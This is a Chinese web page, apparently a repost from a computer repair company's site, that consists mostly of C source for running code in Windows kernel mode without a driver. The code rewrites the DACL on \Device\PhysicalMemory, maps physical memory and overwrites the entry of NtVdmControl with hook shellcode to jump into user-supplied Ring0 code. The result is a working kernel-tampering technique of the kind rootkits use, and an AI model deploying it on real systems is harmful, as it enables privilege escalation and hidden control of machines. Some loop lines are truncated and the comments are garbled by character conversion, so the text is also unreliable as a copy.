设为主页 | 加入收藏 | 繁體中文

无驱动执行Ring0代码


  // 获取指定模块的基址
  PVOID GetModuleBase(PCSTR name)
  {
  NTSTATUS status;
  PVOID pBuffer, pModule;
  ULONG nRetSize, i, n;
  PSYSTEM_MODULE_INFORMATION pmi;
  pBuffer = LocalAlloc(LPTR, 0x1000);
  if (NULL == pBuffer)
  {
  printf("LocalAlloc[0] Failed: %d\n", GetLastError());
  return NULL;
  }
  status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, 0x1000, &nRetSize);
  if (STATUS_INFO_LENGTH_MISMATCH == status)
  {
  // 缓冲区太小,重新分派
  LocalFree(pBuffer);
  pBuffer = LocalAlloc(LPTR, nRetSize);
  if (NULL == pBuffer)
  {
  printf("LocalAlloc[1] Failed: %d\n", GetLastError());
  return NULL;
  }
  status = ZwQuerySystemInformation(SystemModuleInformation, pBuffer, nRetSize, &nRetSize);
  }
  if (!NT_SUCCESS(status))
  {
  printf("ZwQuerySystemInformation Failed: %d\n", LsaNtStatusToWinError(status));
  LocalFree(pBuffer);
  return NULL;
  }
  pmi = (PSYSTEM_MODULE_INFORMATION)((ULONG)pBuffer + 4);
  n = *(ULONG*)pBuffer;
  pModule = NULL;
  // 搜索指定的模块名,获取基址
  for (i=0; i   {
  if (!_stricmp(pmi->ImageName+pmi->ModuleNameOffset, name))
  {
  pModule = pmi->Base;
  break;
  }
  pmi++;
  }
  LocalFree(pBuffer);
  return pModule;
  }
  // 获取\Device\PhysicalMemory的可读写句柄
  HANDLE OpenPhysicalMemory()
  {
  DWORD dwRet;
  NTSTATUS status;
  UNICODE_STRING name;
  OBJECT_ATTRIBUTES oa;
  EXPLICIT_ACCESS ea;
  PSECURITY_DESCRIPTOR pSD;
  PACL pDacl = NULL;
  PACL pNewDacl = NULL;
  HANDLE hSection = NULL;
  HANDLE hSectionRet = NULL;
  RtlInitUnicodeString(&name, L"\\Device\\PhysicalMemory");
  InitializeObjectAttributes(&oa, &name, OBJ_KERNEL_HANDLE, NULL, NULL);
  // 以可读写Section权限翻开PhysicalMemory
  status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
  if (NT_SUCCESS(status)) goto FreeAndExit; // 翻开成功,间接前往
  if (status != STATUS_ACCESS_DENIED)
  {
  // 错误,但非权限不敷,翻开失败
  printf("ZwOpenSection[0] Failed: %d\n", LsaNtStatusToWinError(status));
  hSectionRet = NULL;
  goto FreeAndExit;
  }
  --------------------------------------------------------------------------------
  // 以可读写ACL权限翻开PhysicalMemory
  status = ZwOpenSection(&hSection, READ_CONTROL | WRITE_DAC, &oa);
  if (!NT_SUCCESS(status))
  {
  printf("ZwOpenSection[1] Failed: %d\n", LsaNtStatusToWinError(status));
  goto FreeAndExit;
  }
  // 获取PhysicalMemory的DACL
  dwRet = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
  NULL, NULL, &pDacl, NULL, &pSD);
  if (dwRet != ERROR_SUCCESS)
  {
  printf("GetSecurityInfo Failed: %d\n", dwRet);
  goto FreeAndExit;
  }
  // 创建一个ACE,允许以后用户读写PhysicalMemory
  ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
  ea.grfAccessPermissions = SECTION_MAP_READ | SECTION_MAP_WRITE;
  ea.grfAccessMode = GRANT_ACCESS;
  ea.grfInheritance = NO_INHERITANCE;
  ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
  ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
  ea.Trustee.ptstrName = "CURRENT_USER";
  // 将新的ACE参加DACL
  dwRet = SetEntriesInAcl(1, &ea, pDacl, &pNewDacl);
  if (dwRet != ERROR_SUCCESS)
  {
  printf("SetEntriesInAcl Failed: %d\n", dwRet);
  goto FreeAndExit;
  }
  // 更新PhysicalMemory的DACL
  dwRet = SetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
  NULL, NULL, pNewDacl, NULL);
  if (dwRet != ERROR_SUCCESS)
  {
  printf("SetSecurityInfo Failed: %d\n", dwRet);
  goto FreeAndExit;
  }
  // 再次以可读写权限翻开PhysicalMemory
  status = ZwOpenSection(&hSectionRet, SECTION_MAP_READ | SECTION_MAP_WRITE, &oa);
  if (!NT_SUCCESS(status))
  {
  printf("ZwOpenSection[2] Failed: %d\n", LsaNtStatusToWinError(status));
  goto FreeAndExit;
  }
  FreeAndExit:
  if (pSD) LocalFree(pSD);
  if (pNewDacl) LocalFree(pNewDacl);
  if (hSection) ZwClose(hSection);
  return hSectionRet;
  }
  // 将物理内存映射到当进步程的用户空间
  PVOID MapPhysicalMemory(HANDLE hSection, // 物理内存的Section句柄
  ULONG Offset,    // 映射肇始偏移量,相对于物理内存的0地点
  ULONG CommitSize // 映射范畴
  )
  {
  NTSTATUS status;
  PVOID BaseAddress = NULL;
  LARGE_INTEGER PhysicalAddress = {Offset, 0};
  SIZE_T ViewSize = CommitSize;
  status = ZwMapViewOfSection(hSection, (HANDLE)-1, &BaseAddress, 0,
  CommitSize, &PhysicalAddress, &ViewSize, ViewShare, 0, PAGE_READWRITE);
  if (!NT_SUCCESS(status))
  {
  printf("ZwMapViewOfSection Failed: %d\n", LsaNtStatusToWinError(status));
  return NULL;
  }
  return BaseAddress;
  }
  // 在Ring0执行的代码。这里演示怎样获取每个进程的PID、KPEB、CR3和ImageName
  NTSTATUS Ring0Code(ULONG size,      // 缓冲区大小
  PULONG buffer)   // 缓冲区指针,指向挪用者分派的缓存
  // 参数个数与NtVdmControl一致,以平衡货仓
  {
  ULONG BuildNumber;
  ULONG ListOffset;
  ULONG PIDOffset;
  ULONG NameOffset;
  PLIST_ENTRY ListHead, ListPtr;
  PMY_PROCESS_INFO mypi;
  pfnDbgPrint("Run in Ring0!\n"); // 输出调试信息
  pfnPsGetVersion(NULL, NULL, &BuildNumber, NULL);
  pfnDbgPrint("BuildNumber = %d\n", BuildNumber);
  switch (BuildNumber)    // 各版本OS的KPEB结构不同
  {
  case 2195:  // Win2000
  ListOffset = 0xa0;
  PIDOffset = 0x9c;
  NameOffset = 0x1fc;
  break;
  case 2600:  // WinXP
  ListOffset = 0x88;
  PIDOffset = 0x84;
  NameOffset = 0x174;
  break;
  case 3790:  // Win2003
  ListOffset = 0x88;
  PIDOffset = 0x84;
  NameOffset = 0x154;
  break;
  default:
  return STATUS_NOT_IMPLEMENTED;
  }
  if (size<4) return STATUS_BUFFER_TOO_SMALL;
  size -= 4;
  if (NULL == buffer) return STATUS_INVALID_PARAMETER;
  *buffer = 0L;   // 缓存的第一个ULONG用于保存进程总数
  mypi = (PMY_PROCESS_INFO)(buffer + 1);
  // 历遍ActiveProcessLinks
  ListHead = ListPtr = (PLIST_ENTRY)(*pPsInitialSystemProcess + ListOffset);
  while (ListPtr->Flink != ListHead)
  {
  if (size < sizeof(MY_PROCESS_INFO)) return STATUS_BUFFER_TOO_SMALL;
  mypi->KPEB = (ULONG)ListPtr - ListOffset;
  mypi->PID = *(ULONG*)(mypi->KPEB + PIDOffset);
  mypi->CR3 = *(ULONG*)(mypi->KPEB + 0x18);
  pfnMemcpy(mypi->Name, (PVOID)(mypi->KPEB + NameOffset), 16);
  (*buffer)++;
  mypi++;
  size -= sizeof(MY_PROCESS_INFO);
  ListPtr = ListPtr->Flink;
  }
  return STATUS_SUCCESS;
  }
  // 表现进程信息
  void ListProcessInfo(PULONG buffer)
  {
  ULONG i, n = *buffer;
  PMY_PROCESS_INFO mypi = (PMY_PROCESS_INFO)(buffer + 1);
  printf(" PID   KPEB      CR3       Name\n"
  " ----  --------  --------  ----\n");
  for (i=0; i   {
  printf(" %-4d  %08x  %08x  %s\n",
  mypi->PID, mypi->KPEB, mypi->CR3, mypi->Name);
  mypi++;
  }
  }
  void main()
  {
  char *Kernel = "ntoskrnl.exe";
  PVOID pKernel = NULL;
  HMODULE hKernel = NULL;
  HANDLE hSection = NULL;
  char *mapping = NULL;
  PVOID buffer = NULL;
  ULONG offset;
  NTSTATUS status;
  char OrigCode[24], HookCode[24] =
  "\xE8\xFF\xFF\xFF\xFF"  // call 0xffffffff      ;nt!PsGetCurrentProcessId
  "\x3D\xEE\xEE\xEE\xEE"  // cmp eax, 0xeeeeeeee  ;自己的PID
  "\x75\x05"              // jne $Content$5
  "\xE9\xDD\xDD\xDD\xDD"  // jmp 0xdddddddd       ;Ring0Code
  "\xB8\x01\x00\x00\xC0"  // mov eax, 0xc0000001  ;STATUS_UNSUCCESSFUL
  "\xC3";                 // ret
  printf("\n -=< Run Ring0 Code Without Driver Demo >=-\n\n");
  // 获取体系焦点模块ntoskrnl.exe的基址
  pKernel = GetModuleBase(Kernel);
  if (NULL == pKernel) return;
  if ((ULONG)pKernel < 0x80000000 || (ULONG)pKernel > 0x9FFFFFFF)
  {
  // 模块基址凌驾间接内存映射范畴
  printf("Error: Kernel module base (%08x) is out of range.\n", pKernel);
  return;
  }
  // 在用户态加载一份ntoskrnl.exe
  hKernel = LoadLibrary(Kernel);
  if (NULL == hKernel)
  {
  printf("LoadLibrary Failed: %d\n", GetLastError());
  return;
  }
  // 获取内核例程/变量在用户态的相对位置
  if ((pfnMemcpy = (PVOID)GetProcAddress(hKernel, "memcpy")) &&
  (pfnDbgPrint = (PVOID)GetProcAddress(hKernel, "DbgPrint")) &&
  (pfnNtVdmControl = (PVOID)GetProcAddress(hKernel, "NtVdmControl")) &&
  (pfnPsGetVersion = (PVOID)GetProcAddress(hKernel, "PsGetVersion")) &&
  (pfnPsGetCurrentProcessId = (PVOID)GetProcAddress(hKernel, "PsGetCurrentProcessId")) &&
  (pPsInitialSystemProcess = (PVOID)GetProcAddress(hKernel, "PsInitialSystemProcess")));
  else
  {
  printf("GetProcAddress Failed: %d\n", GetLastError());
  goto FreeAndExit;
  }
  // 计算内核例程/变量的实际地点
  offset = (ULONG)pKernel - (ULONG)hKernel;
  (ULONG)pfnMemcpy += offset;
  (ULONG)pfnDbgPrint += offset;
  (ULONG)pfnNtVdmControl += offset;
  (ULONG)pfnPsGetVersion += offset;
  (ULONG)pfnPsGetCurrentProcessId += offset;
  (ULONG)pPsInitialSystemProcess += offset;
  // 设置HookCode
  *(ULONG*)(HookCode+1) = (ULONG)pfnPsGetCurrentProcessId - (ULONG)pfnNtVdmControl - 5;
  *(ULONG*)(HookCode+6) = GetCurrentProcessId();
  *(ULONG*)(HookCode+13) = (ULONG)Ring0Code - (ULONG)pfnNtVdmControl - 17;
  // 翻开物理内存Section
  hSection = OpenPhysicalMemory();
  if (NULL == hSection) goto FreeAndExit;
  // 映射NtVdmControl入口附近的内存
  offset = (ULONG)pfnNtVdmControl & 0x1FFFF000;   // 转换到物理内存页地点
  mapping = MapPhysicalMemory(hSection, offset, 0x2000);
  if (NULL == mapping) goto FreeAndExit;
  // 保存NtVdmControl入口代码
  offset = (ULONG)pfnNtVdmControl & 0x00000FFF;   // 页内偏移
  memcpy(OrigCode, mapping+offset, 24);
  buffer = LocalAlloc(LPTR, 0x1000);
  if (NULL == buffer)
  {
  printf("LocalAlloc Failed: %d\n", GetLastError());
  goto FreeAndExit;
  }
  memcpy(mapping+offset, HookCode, 24);   // 挂钩NtVdmControl
  status = NtVdmControl(0x1000, buffer);  // 挪用NtVdmControl,进入Ring0
  memcpy(mapping+offset, OrigCode, 24);   // 还原NtVdmControl入口
  if (!NT_SUCCESS(status))
  {
  printf("NtVdmControl Failed: %d\n", LsaNtStatusToWinError(status));
  goto FreeAndExit;
  }
  ListProcessInfo(buffer);
  FreeAndExit:
  if (buffer != NULL) LocalFree(buffer);
  if (mapping != NULL) ZwUnmapViewOfSection(hSection, mapping);
  if (hSection != NULL) ZwClose(hSection);
  if (hKernel != NULL) FreeLibrary(hKernel);
  }
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: